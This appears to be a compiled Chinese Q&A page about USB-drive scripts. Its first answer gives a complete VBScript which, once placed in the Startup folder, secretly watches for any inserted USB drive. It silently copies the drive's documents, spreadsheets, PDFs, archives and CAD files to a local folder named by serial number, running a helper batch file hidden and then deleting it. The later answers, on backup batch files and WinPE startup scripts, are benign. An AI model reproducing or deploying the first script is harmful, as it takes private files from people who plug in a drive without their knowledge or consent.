① 如何使用VBS脚本编写U盘插入自动复制文件至U盘
哈..
复制下面代码后保存为filename.vbs,然后把它拖进“开始”菜单中“启动”中，这样它就自动运行了，只有有人这台计算机上用U盘，它的这些类型的资料就会考到F盘中。而且不同的U盘，会以它序列号文件夹存放
Public Upan(10),Upanname(10),UpanSerialNumber(10),ffff(50000),name,s,n,a,b,y
Do While 1=1
s=0
udisk
a=s
wscript.sleep 600
s=0
udisk
b=s
If a>b Then
' wscript.echo "A Udisk be missed"
Else
If a<b Then
createfolder("f:\Udata\")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG")
createtbat1
' createtbat2
TransferBAT("f:\ee.bat")
wscript.sleep 600
' TransferBAT("f:\aa.bat")
' wscript.sleep 600
delbattxt("f:\ee.bat")
wscript.sleep 600
' delbattxt("f:\aa.bat")
' wscript.sleep 600
n=0
Set fso =CreateObject ("scripting.filesystemobject")
ShowSubFolders FSO.GetFolder(Upan(s)&"\")
wscript.sleep 800
' wscript.echo (n)
'=============================================================================================
for y=1 to n
On Error Resume Next
' wscript.echo ffff(y)
wscript.sleep 100
files ffff(y)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files ffff(y)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files ffff(y)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files ffff(y)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files ffff(y)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files ffff(y)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
'___________________________________________________________________________________________
files upan(s)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files upan(s)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files upan(s)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files upan(s)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files upan(s)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files upan(s)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
err.clear
next
'=============================================================================================
'wscript.echo "A new Udisk be found"&" it's "&upan(s)&Upanname(s)&" "&UpanSerialNumber(s)
udiskfile
Else
End If
End If
Loop
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到U盘的盘符，名称，序列号*
'//********************************************************************************//
Function udisk
Dim fso,MB,GB,i
MINSize=(1024^2)*10
MAXSize=(1024^3)*4
s=0
Set fso=CreateObject("scripting.filesystemobject")
Set disks=fso.Drives
For Each disk In disks
If disk.IsReady Then
If (disk.DriveType =1) or(disk.DriveType =2) And (MINSize<disk.totalsize<MAXSize) Then
s=s+1
Upan(s)=disk.path
Upanname(s)=disk.VolumeName
UpanSerialNumber(s)=disk.SerialNumber
Else
End If
Else
End If
Next
End Function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *检测U盘中是否存在autorun.inf*
'//********************************************************************************//
Function udiskfile
Dim fso,a
Set fso=CreateObject("scripting.filesystemobject")
Set f = fso.GetFolder(Upan(s))
Set fc = f.Files
for each f1 in fc
if f1.name="autorun.inf" then
name=f1.name
wscript.echo "Udisk:"&Upan(s)&"have a file,it is like a virus,it's named "&name
exit for
else
end if
next
End Function
'//********************************************************************************//
' *在指定的地方建立文件夹*
'//********************************************************************************//
Function createfolder(path)
On Error Resume Next
Dim fso,a
Set fso=CreateObject ("scripting.filesystemobject")
Set a=fso.CreateFolder (path)
If err Then '如果出现错误则显示错误描述和正在创建的文件夹名称
'MsgBox ("错误提示： " &Err.Description&" "&"正在创建的文件夹是："&path)
Err.Clear '清除错误。
Else
End if
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *创建BAT1*
'//********************************************************************************//
function createtbat1
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.CreateTextFile ("f:\ee.bat")
set c=fso.opentextfile("f:\ee.bat")
b.WriteLine ("tree "&upan(s)&"\>"&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\tree.txt")
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *创建BAT2*
'//********************************************************************************//
'function createtbat2
'dim fso,a,b,c
'set fso=createobject ("scripting.filesystemobject")
'On Error Resume Next
'
'Set b=fso.CreateTextFile ("f:\aa.bat")
'set c=fso.opentextfile("f:\aa.bat")'
'
'b.WriteLine ("x "&Upan(s)&"\/e/c/h "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
'err.clear
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *调用BAT*
'//********************************************************************************//
Function TransferBAT(path)
Dim fso,a,b,c
Set wshshell=CreateObject("wscript.shell")
Set fso=CreateObject("scripting.filesystemobject")
cmd=wshshell.run(path,hide) '隐藏调用
End Function
'//////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *删除BAT*
'//********************************************************************************//
function delbattxt(path)
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.DeleteFile (path)
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *CopyAllFiles*
'//********************************************************************************//
'function allfile
'Dim fso,a,b,c
'Set wshshell=CreateObject("wscript.shell")
'Set fso=CreateObject("scripting.filesystemobject")
'cmd=wshshell.run("x "&Upan(s)&"/e "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s),hide)
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *Copy制定类型Files*
'//********************************************************************************//
'files "j:\*.vbs","f:\u" ' 调用该函数时不能使用括号，否则会错
Function files(source,destination)
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile source,destination,True
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到制定文件夹下的所有子文件夹*
'//********************************************************************************//
'Set fso =CreateObject ("scripting.filesystemobject")
'ShowSubFolders FSO.GetFolder(Upan(s)&"\")
sub ShowSubFolders(Folder)
For Each Subfolder In Folder.SubFolders
ShowSubFolders Subfolder
n=n+1
ffff(n)=subfolder.path
'wscript.echo ffff(n)
Next
end sub
② 如何从电脑下载游戏中之后把脚本存到U盘里面
把鼠标放到图标上，它会显示在磁盘的位置，然后找到他所在的磁盘，把整个文件夹复制，然后复制到U盘上就好了。
③ 如何使用VBS脚本编写U盘插入自动复制电脑指定文件至U盘
打开文本文档，输入：
COPY D:\data\*.* f:\ '假设你要复制D盘下的data文件夹到U盘上，U盘盘符是F然后保存文件，将该文件扩展名改为bat。
想要复制的时候，直接双击U盘上这个文件就行。这个代码适合自己电脑经常需要备份某个文件，手动操作步骤繁琐，利用这个代码来自动完成数据备份。如果稍加改进这个代码可能就会被安全软件拦截。。。，工具本身没有邪恶和正义之分，是正是邪还是看使用者的意图。
④ 如何给U盘装系统盘添加自定义脚本
在U盘装系统盘下，我们要想让系统执行特定的程序功能，就可以将自己的自定义脚本添加到U盘装系统盘中。但是该怎么将DIY脚本添加进去呢，正成了很多我们大伤头脑的问题。
PE系统提供了三种方法启动自定义脚本：Winpeshl.ini、Startnet.cmd 和 Unattend.xml。原生态U盘装系统盘的默认界面是“命令提示符”窗口，但可以创建自定义的Winpeshl.ini文件，以便运行自己的外壳应用程序。也可以创建自己的 Startnet.cmd批处理文件来运行特定的命令集、批处理文件或脚本。Unattend.xml是WinPE 2.0的新应答文件格式，它取代了Winbom.ini和Winpeoem.sif。一、使用Startnet.cmd添加自定义脚本： 使用Startnet.cmd可以在U盘装系统盘中添加自定义的命令行脚本。默认情况下，U盘装系统盘包括Startnet.cmd脚本，此脚本位于U盘装系统盘映像的 %SYSTEMROOT%System32 中。当前，主要用Startnet.cmd来启动Wpeinit.exe。用于安装即插即用 （PnP） 设备、处理 Unattend.xml 设置以及加载网络资源。编辑Startnet.cmd 以包括自定义命令。 注意：对于PnP和网络支持，请确保在自定义Startnet.cmd脚本中包含了对wpeinit的调用。二、使用Unattend.xml添加自定义脚本： 运行imagex /info d：oot.wim，查看U盘装系统盘映像的信息。我们要注意这一行： Image Count： 2说明此U盘装系统盘映像文件中其实包含了两个映像。每个映像的详细信息在后面有详细的说明。这里要特别说明的是我们需要编辑的是第二个名称为WDS的映像，因为WDS使用此映像来引导计算机。
三、使用Winpeshl.ini添加自定义脚本： 可以使用Winpeshl.ini的文件来启动自定义的外壳应用程序。Winpeshl.exe将在启动期间处理Winpeshl.ini中的设置。使用文本编辑器（如记事本）创建具有以下文件目录结构的Winpeshl.ini文本文件。例如： ［LaunchApp］ AppPath = %SYSTEMDRIVE%myshell.exe［LaunchApps］ %SYSTEMDRIVE%mydirapplication1.exe， -option1 -option2application2.exe， -option1 -option2注：将AppPath项设置为外壳应用程序的路径。此路径可以是绝对路径，也可以使用环境变量（相对路径），例如%SYSTEMROOT%System32Myshell.exe。AppPath 项不支持命令行选项。将此文件保存到U盘装系统盘映像的%SYSTEMROOT%System32下。